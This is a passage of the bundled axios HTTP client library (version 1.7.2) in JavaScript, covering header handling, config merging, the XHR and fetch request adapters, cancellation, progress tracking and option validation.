        delete this[key];
        deleted = true;
      }
    }

    return deleted;
  }

  normalize(format) {
    const self = this;
    const headers = {};

    utils$1.forEach(this, (value, header) => {
      const key = utils$1.findKey(headers, header);

      if (key) {
        self[key] = normalizeValue(value);
        delete self[header];
        return;
      }

      const normalized = format ? formatHeader(header) : String(header).trim();

      if (normalized !== header) {
        delete self[header];
      }

      self[normalized] = normalizeValue(value);

      headers[normalized] = true;
    });

    return this;
  }

  concat(...targets) {
    return this.constructor.concat(this, ...targets);
  }

  toJSON(asStrings) {
    const obj = Object.create(null);

    utils$1.forEach(this, (value, header) => {
      value != null && value !== false && (obj[header] = asStrings && utils$1.isArray(value) ? value.join(', ') : value);
    });

    return obj;
  }

  [Symbol.iterator]() {
    return Object.entries(this.toJSON())[Symbol.iterator]();
  }

  toString() {
    return Object.entries(this.toJSON()).map(([header, value]) => header + ': ' + value).join('\n');
  }

  get [Symbol.toStringTag]() {
    return 'AxiosHeaders';
  }

  static from(thing) {
    return thing instanceof this ? thing : new this(thing);
  }

  static concat(first, ...targets) {
    const computed = new this(first);

    targets.forEach((target) => computed.set(target));

    return computed;
  }

  static accessor(header) {
    const internals = this[$internals] = (this[$internals] = {
      accessors: {}
    });

    const accessors = internals.accessors;
    const prototype = this.prototype;

    function defineAccessor(_header) {
      const lHeader = normalizeHeader(_header);

      if (!accessors[lHeader]) {
        buildAccessors(prototype, _header);
        accessors[lHeader] = true;
      }
    }

    utils$1.isArray(header) ? header.forEach(defineAccessor) : defineAccessor(header);

    return this;
  }
}

AxiosHeaders$1.accessor(['Content-Type', 'Content-Length', 'Accept', 'Accept-Encoding', 'User-Agent', 'Authorization']);

// reserved names hotfix
utils$1.reduceDescriptors(AxiosHeaders$1.prototype, ({value}, key) => {
  let mapped = key[0].toUpperCase() + key.slice(1); // map `set` => `Set`
  return {
    get: () => value,
    set(headerValue) {
      this[mapped] = headerValue;
    }
  }
});

utils$1.freezeMethods(AxiosHeaders$1);

const AxiosHeaders$2 = AxiosHeaders$1;

/**
 * Transform the data for a request or a response
 *
 * @param {Array|Function} fns A single function or Array of functions
 * @param {?Object} response The response object
 *
 * @returns {*} The resulting transformed data
 */
function transformData(fns, response) {
  const config = this || defaults$1;
  const context = response || config;
  const headers = AxiosHeaders$2.from(context.headers);
  let data = context.data;

  utils$1.forEach(fns, function transform(fn) {
    data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
  });

  headers.normalize();

  return data;
}

function isCancel$1(value) {
  return !!(value && value.__CANCEL__);
}

/**
 * A `CanceledError` is an object that is thrown when an operation is canceled.
 *
 * @param {string=} message The message.
 * @param {Object=} config The config.
 * @param {Object=} request The request.
 *
 * @returns {CanceledError} The created error.
 */
function CanceledError$1(message, config, request) {
  // eslint-disable-next-line no-eq-null,eqeqeq
  AxiosError$1.call(this, message == null ? 'canceled' : message, AxiosError$1.ERR_CANCELED, config, request);
  this.name = 'CanceledError';
}

utils$1.inherits(CanceledError$1, AxiosError$1, {
  __CANCEL__: true
});

/**
 * Resolve or reject a Promise based on response status.
 *
 * @param {Function} resolve A function that resolves the promise.
 * @param {Function} reject A function that rejects the promise.
 * @param {object} response The response.
 *
 * @returns {object} The response.
 */
function settle(resolve, reject, response) {
  const validateStatus = response.config.validateStatus;
  if (!response.status || !validateStatus || validateStatus(response.status)) {
    resolve(response);
  } else {
    reject(new AxiosError$1(
      'Request failed with status code ' + response.status,
      [AxiosError$1.ERR_BAD_REQUEST, AxiosError$1.ERR_BAD_RESPONSE][Math.floor(response.status / 100) - 4],
      response.config,
      response.request,
      response
    ));
  }
}

function parseProtocol(url) {
  const match = /^([-+\w]{1,25})(:?\/\/|:)/.exec(url);
  return match && match[1] || '';
}

/**
 * Calculate data maxRate
 * @param {Number} [samplesCount= 10]
 * @param {Number} [min= 1000]
 * @returns {Function}
 */
function speedometer(samplesCount, min) {
  samplesCount = samplesCount || 10;
  const bytes = new Array(samplesCount);
  const timestamps = new Array(samplesCount);
  let head = 0;
  let tail = 0;
  let firstSampleTS;

  min = min !== undefined ? min : 1000;

  return function push(chunkLength) {
    const now = Date.now();

    const startedAt = timestamps[tail];

    if (!firstSampleTS) {
      firstSampleTS = now;
    }

    bytes[head] = chunkLength;
    timestamps[head] = now;

    let i = tail;
    let bytesCount = 0;

    while (i !== head) {
      bytesCount += bytes[i++];
      i = i % samplesCount;
    }

    head = (head + 1) % samplesCount;

    if (head === tail) {
      tail = (tail + 1) % samplesCount;
    }

    if (now - firstSampleTS < min) {
      return;
    }

    const passed = startedAt && now - startedAt;

    return passed ? Math.round(bytesCount * 1000 / passed) : undefined;
  };
}

/**
 * Throttle decorator
 * @param {Function} fn
 * @param {Number} freq
 * @return {Function}
 */
function throttle(fn, freq) {
  let timestamp = 0;
  const threshold = 1000 / freq;
  let timer = null;
  return function throttled() {
    const force = this === true;

    const now = Date.now();
    if (force || now - timestamp > threshold) {
      if (timer) {
        clearTimeout(timer);
        timer = null;
      }
      timestamp = now;
      return fn.apply(null, arguments);
    }
    if (!timer) {
      timer = setTimeout(() => {
        timer = null;
        timestamp = Date.now();
        return fn.apply(null, arguments);
      }, threshold - (now - timestamp));
    }
  };
}

const progressEventReducer = (listener, isDownloadStream, freq = 3) => {
  let bytesNotified = 0;
  const _speedometer = speedometer(50, 250);

  return throttle(e => {
    const loaded = e.loaded;
    const total = e.lengthComputable ? e.total : undefined;
    const progressBytes = loaded - bytesNotified;
    const rate = _speedometer(progressBytes);
    const inRange = loaded <= total;

    bytesNotified = loaded;

    const data = {
      loaded,
      total,
      progress: total ? (loaded / total) : undefined,
      bytes: progressBytes,
      rate: rate ? rate : undefined,
      estimated: rate && total && inRange ? (total - loaded) / rate : undefined,
      event: e,
      lengthComputable: total != null
    };

    data[isDownloadStream ? 'download' : 'upload'] = true;

    listener(data);
  }, freq);
};

const isURLSameOrigin = platform.hasStandardBrowserEnv ?

// Standard browser envs have full support of the APIs needed to test
// whether the request URL is of the same origin as current location.
  (function standardBrowserEnv() {
    const msie = /(msie|trident)/i.test(navigator.userAgent);
    const urlParsingNode = document.createElement('a');
    let originURL;

    /**
    * Parse a URL to discover its components
    *
    * @param {String} url The URL to be parsed
    * @returns {Object}
    */
    function resolveURL(url) {
      let href = url;

      if (msie) {
        // IE needs attribute set twice to normalize properties
        urlParsingNode.setAttribute('href', href);
        href = urlParsingNode.href;
      }

      urlParsingNode.setAttribute('href', href);

      // urlParsingNode provides the UrlUtils interface - http://url.spec.whatwg.org/#urlutils
      return {
        href: urlParsingNode.href,
        protocol: urlParsingNode.protocol ? urlParsingNode.protocol.replace(/:$/, '') : '',
        host: urlParsingNode.host,
        search: urlParsingNode.search ? urlParsingNode.search.replace(/^\?/, '') : '',
        hash: urlParsingNode.hash ? urlParsingNode.hash.replace(/^#/, '') : '',
        hostname: urlParsingNode.hostname,
        port: urlParsingNode.port,
        pathname: (urlParsingNode.pathname.charAt(0) === '/') ?
          urlParsingNode.pathname :
          '/' + urlParsingNode.pathname
      };
    }

    originURL = resolveURL(window.location.href);

    /**
    * Determine if a URL shares the same origin as the current location
    *
    * @param {String} requestURL The URL to test
    * @returns {boolean} True if URL shares the same origin, otherwise false
    */
    return function isURLSameOrigin(requestURL) {
      const parsed = (utils$1.isString(requestURL)) ? resolveURL(requestURL) : requestURL;
      return (parsed.protocol === originURL.protocol &&
          parsed.host === originURL.host);
    };
  })() :

  // Non standard browser envs (web workers, react-native) lack needed support.
  (function nonStandardBrowserEnv() {
    return function isURLSameOrigin() {
      return true;
    };
  })();

const cookies = platform.hasStandardBrowserEnv ?

  // Standard browser envs support document.cookie
  {
    write(name, value, expires, path, domain, secure) {
      const cookie = [name + '=' + encodeURIComponent(value)];

      utils$1.isNumber(expires) && cookie.push('expires=' + new Date(expires).toGMTString());

      utils$1.isString(path) && cookie.push('path=' + path);

      utils$1.isString(domain) && cookie.push('domain=' + domain);

      secure === true && cookie.push('secure');

      document.cookie = cookie.join('; ');
    },

    read(name) {
      const match = document.cookie.match(new RegExp('(^|;\\s*)(' + name + ')=([^;]*)'));
      return (match ? decodeURIComponent(match[3]) : null);
    },

    remove(name) {
      this.write(name, '', Date.now() - 86400000);
    }
  }

  :

  // Non-standard browser env (web workers, react-native) lack needed support.
  {
    write() {},
    read() {
      return null;
    },
    remove() {}
  };

/**
 * Determines whether the specified URL is absolute
 *
 * @param {string} url The URL to test
 *
 * @returns {boolean} True if the specified URL is absolute, otherwise false
 */
function isAbsoluteURL(url) {
  // A URL is considered absolute if it begins with "<scheme>://" or "//" (protocol-relative URL).
  // RFC 3986 defines scheme name as a sequence of characters beginning with a letter and followed
  // by any combination of letters, digits, plus, period, or hyphen.
  return /^([a-z][a-z\d+\-.]*:)?\/\//i.test(url);
}

/**
 * Creates a new URL by combining the specified URLs
 *
 * @param {string} baseURL The base URL
 * @param {string} relativeURL The relative URL
 *
 * @returns {string} The combined URL
 */
function combineURLs(baseURL, relativeURL) {
  return relativeURL
    ? baseURL.replace(/\/?\/$/, '') + '/' + relativeURL.replace(/^\/+/, '')
    : baseURL;
}

/**
 * Creates a new URL by combining the baseURL with the requestedURL,
 * only when the requestedURL is not already an absolute URL.
 * If the requestURL is absolute, this function returns the requestedURL untouched.
 *
 * @param {string} baseURL The base URL
 * @param {string} requestedURL Absolute or relative URL to combine
 *
 * @returns {string} The combined full path
 */
function buildFullPath(baseURL, requestedURL) {
  if (baseURL && !isAbsoluteURL(requestedURL)) {
    return combineURLs(baseURL, requestedURL);
  }
  return requestedURL;
}

const headersToObject = (thing) => thing instanceof AxiosHeaders$2 ? { ...thing } : thing;

/**
 * Config-specific merge-function which creates a new config-object
 * by merging two configuration objects together.
 *
 * @param {Object} config1
 * @param {Object} config2
 *
 * @returns {Object} New object resulting from merging config2 to config1
 */
function mergeConfig$1(config1, config2) {
  // eslint-disable-next-line no-param-reassign
  config2 = config2 || {};
  const config = {};

  function getMergedValue(target, source, caseless) {
    if (utils$1.isPlainObject(target) && utils$1.isPlainObject(source)) {
      return utils$1.merge.call({caseless}, target, source);
    } else if (utils$1.isPlainObject(source)) {
      return utils$1.merge({}, source);
    } else if (utils$1.isArray(source)) {
      return source.slice();
    }
    return source;
  }

  // eslint-disable-next-line consistent-return
  function mergeDeepProperties(a, b, caseless) {
    if (!utils$1.isUndefined(b)) {
      return getMergedValue(a, b, caseless);
    } else if (!utils$1.isUndefined(a)) {
      return getMergedValue(undefined, a, caseless);
    }
  }

  // eslint-disable-next-line consistent-return
  function valueFromConfig2(a, b) {
    if (!utils$1.isUndefined(b)) {
      return getMergedValue(undefined, b);
    }
  }

  // eslint-disable-next-line consistent-return
  function defaultToConfig2(a, b) {
    if (!utils$1.isUndefined(b)) {
      return getMergedValue(undefined, b);
    } else if (!utils$1.isUndefined(a)) {
      return getMergedValue(undefined, a);
    }
  }

  // eslint-disable-next-line consistent-return
  function mergeDirectKeys(a, b, prop) {
    if (prop in config2) {
      return getMergedValue(a, b);
    } else if (prop in config1) {
      return getMergedValue(undefined, a);
    }
  }

  const mergeMap = {
    url: valueFromConfig2,
    method: valueFromConfig2,
    data: valueFromConfig2,
    baseURL: defaultToConfig2,
    transformRequest: defaultToConfig2,
    transformResponse: defaultToConfig2,
    paramsSerializer: defaultToConfig2,
    timeout: defaultToConfig2,
    timeoutMessage: defaultToConfig2,
    withCredentials: defaultToConfig2,
    withXSRFToken: defaultToConfig2,
    adapter: defaultToConfig2,
    responseType: defaultToConfig2,
    xsrfCookieName: defaultToConfig2,
    xsrfHeaderName: defaultToConfig2,
    onUploadProgress: defaultToConfig2,
    onDownloadProgress: defaultToConfig2,
    decompress: defaultToConfig2,
    maxContentLength: defaultToConfig2,
    maxBodyLength: defaultToConfig2,
    beforeRedirect: defaultToConfig2,
    transport: defaultToConfig2,
    httpAgent: defaultToConfig2,
    httpsAgent: defaultToConfig2,
    cancelToken: defaultToConfig2,
    socketPath: defaultToConfig2,
    responseEncoding: defaultToConfig2,
    validateStatus: mergeDirectKeys,
    headers: (a, b) => mergeDeepProperties(headersToObject(a), headersToObject(b), true)
  };

  utils$1.forEach(Object.keys(Object.assign({}, config1, config2)), function computeConfigValue(prop) {
    const merge = mergeMap[prop] || mergeDeepProperties;
    const configValue = merge(config1[prop], config2[prop], prop);
    (utils$1.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
  });

  return config;
}

const resolveConfig = (config) => {
  const newConfig = mergeConfig$1({}, config);

  let {data, withXSRFToken, xsrfHeaderName, xsrfCookieName, headers, auth} = newConfig;

  newConfig.headers = headers = AxiosHeaders$2.from(headers);

  newConfig.url = buildURL(buildFullPath(newConfig.baseURL, newConfig.url), config.params, config.paramsSerializer);

  // HTTP basic authentication
  if (auth) {
    headers.set('Authorization', 'Basic ' +
      btoa((auth.username || '') + ':' + (auth.password ? unescape(encodeURIComponent(auth.password)) : ''))
    );
  }

  let contentType;

  if (utils$1.isFormData(data)) {
    if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv) {
      headers.setContentType(undefined); // Let the browser set it
    } else if ((contentType = headers.getContentType()) !== false) {
      // fix semicolon duplication issue for ReactNative FormData implementation
      const [type, ...tokens] = contentType ? contentType.split(';').map(token => token.trim()).filter(Boolean) : [];
      headers.setContentType([type || 'multipart/form-data', ...tokens].join('; '));
    }
  }

  // Add xsrf header
  // This is only done if running in a standard browser environment.
  // Specifically not if we're in a web worker, or react-native.

  if (platform.hasStandardBrowserEnv) {
    withXSRFToken && utils$1.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));

    if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {
      // Add xsrf header
      const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);

      if (xsrfValue) {
        headers.set(xsrfHeaderName, xsrfValue);
      }
    }
  }

  return newConfig;
};

const isXHRAdapterSupported = typeof XMLHttpRequest !== 'undefined';

const xhrAdapter = isXHRAdapterSupported && function (config) {
  return new Promise(function dispatchXhrRequest(resolve, reject) {
    const _config = resolveConfig(config);
    let requestData = _config.data;
    const requestHeaders = AxiosHeaders$2.from(_config.headers).normalize();
    let {responseType} = _config;
    let onCanceled;
    function done() {
      if (_config.cancelToken) {
        _config.cancelToken.unsubscribe(onCanceled);
      }

      if (_config.signal) {
        _config.signal.removeEventListener('abort', onCanceled);
      }
    }

    let request = new XMLHttpRequest();

    request.open(_config.method.toUpperCase(), _config.url, true);

    // Set the request timeout in MS
    request.timeout = _config.timeout;

    function onloadend() {
      if (!request) {
        return;
      }
      // Prepare the response
      const responseHeaders = AxiosHeaders$2.from(
        'getAllResponseHeaders' in request && request.getAllResponseHeaders()
      );
      const responseData = !responseType || responseType === 'text' || responseType === 'json' ?
        request.responseText : request.response;
      const response = {
        data: responseData,
        status: request.status,
        statusText: request.statusText,
        headers: responseHeaders,
        config,
        request
      };

      settle(function _resolve(value) {
        resolve(value);
        done();
      }, function _reject(err) {
        reject(err);
        done();
      }, response);

      // Clean up request
      request = null;
    }

    if ('onloadend' in request) {
      // Use onloadend if available
      request.onloadend = onloadend;
    } else {
      // Listen for ready state to emulate onloadend
      request.onreadystatechange = function handleLoad() {
        if (!request || request.readyState !== 4) {
          return;
        }

        // The request errored out and we didn't get a response, this will be
        // handled by onerror instead
        // With one exception: request that using file: protocol, most browsers
        // will return status as 0 even though it's a successful request
        if (request.status === 0 && !(request.responseURL && request.responseURL.indexOf('file:') === 0)) {
          return;
        }
        // readystate handler is calling before onerror or ontimeout handlers,
        // so we should call onloadend on the next 'tick'
        setTimeout(onloadend);
      };
    }

    // Handle browser request cancellation (as opposed to a manual cancellation)
    request.onabort = function handleAbort() {
      if (!request) {
        return;
      }

      reject(new AxiosError$1('Request aborted', AxiosError$1.ECONNABORTED, _config, request));

      // Clean up request
      request = null;
    };

    // Handle low level network errors
    request.onerror = function handleError() {
      // Real errors are hidden from us by the browser
      // onerror should only fire if it's a network error
      reject(new AxiosError$1('Network Error', AxiosError$1.ERR_NETWORK, _config, request));

      // Clean up request
      request = null;
    };

    // Handle timeout
    request.ontimeout = function handleTimeout() {
      let timeoutErrorMessage = _config.timeout ? 'timeout of ' + _config.timeout + 'ms exceeded' : 'timeout exceeded';
      const transitional = _config.transitional || transitionalDefaults;
      if (_config.timeoutErrorMessage) {
        timeoutErrorMessage = _config.timeoutErrorMessage;
      }
      reject(new AxiosError$1(
        timeoutErrorMessage,
        transitional.clarifyTimeoutError ? AxiosError$1.ETIMEDOUT : AxiosError$1.ECONNABORTED,
        _config,
        request));

      // Clean up request
      request = null;
    };

    // Remove Content-Type if data is undefined
    requestData === undefined && requestHeaders.setContentType(null);

    // Add headers to the request
    if ('setRequestHeader' in request) {
      utils$1.forEach(requestHeaders.toJSON(), function setRequestHeader(val, key) {
        request.setRequestHeader(key, val);
      });
    }

    // Add withCredentials to request if needed
    if (!utils$1.isUndefined(_config.withCredentials)) {
      request.withCredentials = !!_config.withCredentials;
    }

    // Add responseType to request if needed
    if (responseType && responseType !== 'json') {
      request.responseType = _config.responseType;
    }

    // Handle progress if needed
    if (typeof _config.onDownloadProgress === 'function') {
      request.addEventListener('progress', progressEventReducer(_config.onDownloadProgress, true));
    }

    // Not all browsers support upload events
    if (typeof _config.onUploadProgress === 'function' && request.upload) {
      request.upload.addEventListener('progress', progressEventReducer(_config.onUploadProgress));
    }

    if (_config.cancelToken || _config.signal) {
      // Handle cancellation
      // eslint-disable-next-line func-names
      onCanceled = cancel => {
        if (!request) {
          return;
        }
        reject(!cancel || cancel.type ? new CanceledError$1(null, config, request) : cancel);
        request.abort();
        request = null;
      };

      _config.cancelToken && _config.cancelToken.subscribe(onCanceled);
      if (_config.signal) {
        _config.signal.aborted ? onCanceled() : _config.signal.addEventListener('abort', onCanceled);
      }
    }

    const protocol = parseProtocol(_config.url);

    if (protocol && platform.protocols.indexOf(protocol) === -1) {
      reject(new AxiosError$1('Unsupported protocol ' + protocol + ':', AxiosError$1.ERR_BAD_REQUEST, config));
      return;
    }


    // Send the request
    request.send(requestData || null);
  });
};

const composeSignals = (signals, timeout) => {
  let controller = new AbortController();

  let aborted;

  const onabort = function (cancel) {
    if (!aborted) {
      aborted = true;
      unsubscribe();
      const err = cancel instanceof Error ? cancel : this.reason;
      controller.abort(err instanceof AxiosError$1 ? err : new CanceledError$1(err instanceof Error ? err.message : err));
    }
  };

  let timer = timeout && setTimeout(() => {
    onabort(new AxiosError$1(`timeout ${timeout} of ms exceeded`, AxiosError$1.ETIMEDOUT));
  }, timeout);

  const unsubscribe = () => {
    if (signals) {
      timer && clearTimeout(timer);
      timer = null;
      signals.forEach(signal => {
        signal &&
        (signal.removeEventListener ? signal.removeEventListener('abort', onabort) : signal.unsubscribe(onabort));
      });
      signals = null;
    }
  };

  signals.forEach((signal) => signal && signal.addEventListener && signal.addEventListener('abort', onabort));

  const {signal} = controller;

  signal.unsubscribe = unsubscribe;

  return [signal, () => {
    timer && clearTimeout(timer);
    timer = null;
  }];
};

const composeSignals$1 = composeSignals;

const streamChunk = function* (chunk, chunkSize) {
  let len = chunk.byteLength;

  if (!chunkSize || len < chunkSize) {
    yield chunk;
    return;
  }

  let pos = 0;
  let end;

  while (pos < len) {
    end = pos + chunkSize;
    yield chunk.slice(pos, end);
    pos = end;
  }
};

const readBytes = async function* (iterable, chunkSize, encode) {
  for await (const chunk of iterable) {
    yield* streamChunk(ArrayBuffer.isView(chunk) ? chunk : (await encode(String(chunk))), chunkSize);
  }
};

const trackStream = (stream, chunkSize, onProgress, onFinish, encode) => {
  const iterator = readBytes(stream, chunkSize, encode);

  let bytes = 0;

  return new ReadableStream({
    type: 'bytes',

    async pull(controller) {
      const {done, value} = await iterator.next();

      if (done) {
        controller.close();
        onFinish();
        return;
      }

      let len = value.byteLength;
      onProgress && onProgress(bytes += len);
      controller.enqueue(new Uint8Array(value));
    },
    cancel(reason) {
      onFinish(reason);
      return iterator.return();
    }
  }, {
    highWaterMark: 2
  })
};

const fetchProgressDecorator = (total, fn) => {
  const lengthComputable = total != null;
  return (loaded) => setTimeout(() => fn({
    lengthComputable,
    total,
    loaded
  }));
};

const isFetchSupported = typeof fetch === 'function' && typeof Request === 'function' && typeof Response === 'function';
const isReadableStreamSupported = isFetchSupported && typeof ReadableStream === 'function';

// used only inside the fetch adapter
const encodeText = isFetchSupported && (typeof TextEncoder === 'function' ?
    ((encoder) => (str) => encoder.encode(str))(new TextEncoder()) :
    async (str) => new Uint8Array(await new Response(str).arrayBuffer())
);

const supportsRequestStream = isReadableStreamSupported && (() => {
  let duplexAccessed = false;

  const hasContentType = new Request(platform.origin, {
    body: new ReadableStream(),
    method: 'POST',
    get duplex() {
      duplexAccessed = true;
      return 'half';
    },
  }).headers.has('Content-Type');

  return duplexAccessed && !hasContentType;
})();

const DEFAULT_CHUNK_SIZE = 64 * 1024;

const supportsResponseStream = isReadableStreamSupported && !!(()=> {
  try {
    return utils$1.isReadableStream(new Response('').body);
  } catch(err) {
    // return undefined
  }
})();

const resolvers = {
  stream: supportsResponseStream && ((res) => res.body)
};

isFetchSupported && (((res) => {
  ['text', 'arrayBuffer', 'blob', 'formData', 'stream'].forEach(type => {
    !resolvers[type] && (resolvers[type] = utils$1.isFunction(res[type]) ? (res) => res[type]() :
      (_, config) => {
        throw new AxiosError$1(`Response type '${type}' is not supported`, AxiosError$1.ERR_NOT_SUPPORT, config);
      });
  });
})(new Response));

const getBodyLength = async (body) => {
  if (body == null) {
    return 0;
  }

  if(utils$1.isBlob(body)) {
    return body.size;
  }

  if(utils$1.isSpecCompliantForm(body)) {
    return (await new Request(body).arrayBuffer()).byteLength;
  }

  if(utils$1.isArrayBufferView(body)) {
    return body.byteLength;
  }

  if(utils$1.isURLSearchParams(body)) {
    body = body + '';
  }

  if(utils$1.isString(body)) {
    return (await encodeText(body)).byteLength;
  }
};

const resolveBodyLength = async (headers, body) => {
  const length = utils$1.toFiniteNumber(headers.getContentLength());

  return length == null ? getBodyLength(body) : length;
};

const fetchAdapter = isFetchSupported && (async (config) => {
  let {
    url,
    method,
    data,
    signal,
    cancelToken,
    timeout,
    onDownloadProgress,
    onUploadProgress,
    responseType,
    headers,
    withCredentials = 'same-origin',
    fetchOptions
  } = resolveConfig(config);

  responseType = responseType ? (responseType + '').toLowerCase() : 'text';

  let [composedSignal, stopTimeout] = (signal || cancelToken || timeout) ?
    composeSignals$1([signal, cancelToken], timeout) : [];

  let finished, request;

  const onFinish = () => {
    !finished && setTimeout(() => {
      composedSignal && composedSignal.unsubscribe();
    });

    finished = true;
  };

  let requestContentLength;

  try {
    if (
      onUploadProgress && supportsRequestStream && method !== 'get' && method !== 'head' &&
      (requestContentLength = await resolveBodyLength(headers, data)) !== 0
    ) {
      let _request = new Request(url, {
        method: 'POST',
        body: data,
        duplex: "half"
      });

      let contentTypeHeader;

      if (utils$1.isFormData(data) && (contentTypeHeader = _request.headers.get('content-type'))) {
        headers.setContentType(contentTypeHeader);
      }

      if (_request.body) {
        data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, fetchProgressDecorator(
          requestContentLength,
          progressEventReducer(onUploadProgress)
        ), null, encodeText);
      }
    }

    if (!utils$1.isString(withCredentials)) {
      withCredentials = withCredentials ? 'cors' : 'omit';
    }

    request = new Request(url, {
      ...fetchOptions,
      signal: composedSignal,
      method: method.toUpperCase(),
      headers: headers.normalize().toJSON(),
      body: data,
      duplex: "half",
      withCredentials
    });

    let response = await fetch(request);

    const isStreamResponse = supportsResponseStream && (responseType === 'stream' || responseType === 'response');

    if (supportsResponseStream && (onDownloadProgress || isStreamResponse)) {
      const options = {};

      ['status', 'statusText', 'headers'].forEach(prop => {
        options[prop] = response[prop];
      });

      const responseContentLength = utils$1.toFiniteNumber(response.headers.get('content-length'));

      response = new Response(
        trackStream(response.body, DEFAULT_CHUNK_SIZE, onDownloadProgress && fetchProgressDecorator(
          responseContentLength,
          progressEventReducer(onDownloadProgress, true)
        ), isStreamResponse && onFinish, encodeText),
        options
      );
    }

    responseType = responseType || 'text';

    let responseData = await resolvers[utils$1.findKey(resolvers, responseType) || 'text'](response, config);

    !isStreamResponse && onFinish();

    stopTimeout && stopTimeout();

    return await new Promise((resolve, reject) => {
      settle(resolve, reject, {
        data: responseData,
        headers: AxiosHeaders$2.from(response.headers),
        status: response.status,
        statusText: response.statusText,
        config,
        request
      });
    })
  } catch (err) {
    onFinish();

    if (err && err.name === 'TypeError' && /fetch/i.test(err.message)) {
      throw Object.assign(
        new AxiosError$1('Network Error', AxiosError$1.ERR_NETWORK, config, request),
        {
          cause: err.cause || err
        }
      )
    }

    throw AxiosError$1.from(err, err && err.code, config, request);
  }
});

const knownAdapters = {
  http: httpAdapter,
  xhr: xhrAdapter,
  fetch: fetchAdapter
};

utils$1.forEach(knownAdapters, (fn, value) => {
  if (fn) {
    try {
      Object.defineProperty(fn, 'name', {value});
    } catch (e) {
      // eslint-disable-next-line no-empty
    }
    Object.defineProperty(fn, 'adapterName', {value});
  }
});

const renderReason = (reason) => `- ${reason}`;

const isResolvedHandle = (adapter) => utils$1.isFunction(adapter) || adapter === null || adapter === false;

const adapters = {
  getAdapter: (adapters) => {
    adapters = utils$1.isArray(adapters) ? adapters : [adapters];

    const {length} = adapters;
    let nameOrAdapter;
    let adapter;

    const rejectedReasons = {};

    for (let i = 0; i < length; i++) {
      nameOrAdapter = adapters[i];
      let id;

      adapter = nameOrAdapter;

      if (!isResolvedHandle(nameOrAdapter)) {
        adapter = knownAdapters[(id = String(nameOrAdapter)).toLowerCase()];

        if (adapter === undefined) {
          throw new AxiosError$1(`Unknown adapter '${id}'`);
        }
      }

      if (adapter) {
        break;
      }

      rejectedReasons[id || '#' + i] = adapter;
    }

    if (!adapter) {

      const reasons = Object.entries(rejectedReasons)
        .map(([id, state]) => `adapter ${id} ` +
          (state === false ? 'is not supported by the environment' : 'is not available in the build')
        );

      let s = length ?
        (reasons.length > 1 ? 'since :\n' + reasons.map(renderReason).join('\n') : ' ' + renderReason(reasons[0])) :
        'as no adapter specified';

      throw new AxiosError$1(
        `There is no suitable adapter to dispatch the request ` + s,
        'ERR_NOT_SUPPORT'
      );
    }

    return adapter;
  },
  adapters: knownAdapters
};

/**
 * Throws a `CanceledError` if cancellation has been requested.
 *
 * @param {Object} config The config that is to be used for the request
 *
 * @returns {void}
 */
function throwIfCancellationRequested(config) {
  if (config.cancelToken) {
    config.cancelToken.throwIfRequested();
  }

  if (config.signal && config.signal.aborted) {
    throw new CanceledError$1(null, config);
  }
}

/**
 * Dispatch a request to the server using the configured adapter.
 *
 * @param {object} config The config that is to be used for the request
 *
 * @returns {Promise} The Promise to be fulfilled
 */
function dispatchRequest(config) {
  throwIfCancellationRequested(config);

  config.headers = AxiosHeaders$2.from(config.headers);

  // Transform request data
  config.data = transformData.call(
    config,
    config.transformRequest
  );

  if (['post', 'put', 'patch'].indexOf(config.method) !== -1) {
    config.headers.setContentType('application/x-www-form-urlencoded', false);
  }

  const adapter = adapters.getAdapter(config.adapter || defaults$1.adapter);

  return adapter(config).then(function onAdapterResolution(response) {
    throwIfCancellationRequested(config);

    // Transform response data
    response.data = transformData.call(
      config,
      config.transformResponse,
      response
    );

    response.headers = AxiosHeaders$2.from(response.headers);

    return response;
  }, function onAdapterRejection(reason) {
    if (!isCancel$1(reason)) {
      throwIfCancellationRequested(config);

      // Transform response data
      if (reason && reason.response) {
        reason.response.data = transformData.call(
          config,
          config.transformResponse,
          reason.response
        );
        reason.response.headers = AxiosHeaders$2.from(reason.response.headers);
      }
    }

    return Promise.reject(reason);
  });
}

const VERSION$1 = "1.7.2";

const validators$1 = {};

// eslint-disable-next-line func-names
['object', 'boolean', 'number', 'function', 'string', 'symbol'].forEach((type, i) => {
  validators$1[type] = function validator(thing) {
    return typeof thing === type || 'a' + (i < 1 ? 'n ' : ' ') + type;
  };
});

const deprecatedWarnings = {};

/**
 * Transitional option validator
 *
 * @param {function|boolean?} validator - set to false if the transitional option has been removed
 * @param {string?} version - deprecated version / removed since version
 * @param {string?} message - some message with additional info
 *
 * @returns {function}
 */
validators$1.transitional = function transitional(validator, version, message) {
  function formatMessage(opt, desc) {
    return '[Axios v' + VERSION$1 + '] Transitional option \'' + opt + '\'' + desc + (message ? '. ' + message : '');
  }

  // eslint-disable-next-line func-names
  return (value, opt, opts) => {
    if (validator === false) {
      throw new AxiosError$1(
        formatMessage(opt, ' has been removed' + (version ? ' in ' + version : '')),
        AxiosError$1.ERR_DEPRECATED
      );
    }

    if (version && !deprecatedWarnings[opt]) {
      deprecatedWarnings[opt] = true;
      // eslint-disable-next-line no-console
      console.warn(
        formatMessage(
          opt,
          ' has been deprecated since v' + version + ' and will be removed in the near future'
        )
      );
    }

    return validator ? validator(value, opt, opts) : true;
  };
};

/**
 * Assert object's properties type
 *
 * @param {object} options
 * @param {object} schema
 * @param {boolean?} allowUnknown
 *
 * @returns {object}
 */

function assertOptions(options, schema, allowUnknown) {
  if (typeof options !== 'object') {
    throw new AxiosError$1('options must be an object', AxiosError$1.ERR_BAD_OPTION_VALUE);
  }
  const keys = Object.keys(options);
  let i = keys.length;
  while (i-- > 0) {
    const opt = keys[i];
    const validator = schema[opt];
    if (validator) {
      const value = options[opt];
      const result = value === undefined || validator(value, opt, options);
      if (result !== true) {
        throw new AxiosError$1('option ' + opt + ' must be ' + result, AxiosError$1.ERR_BAD_OPTION_VALUE);
      }
      continue;
    }
    if (allowUnknown !== true) {
      throw new AxiosError$1('Unknown option ' + opt, AxiosError$1.ERR_BAD_OPTION);
    }
  }
}

const validator = {
  assertOptions,
  validators: validators$1
};

const validators = validator.validators;

/**
 * Create a new instance of Axios
 *
 * @param {Object} instanceConfig The default config for the instance
 *
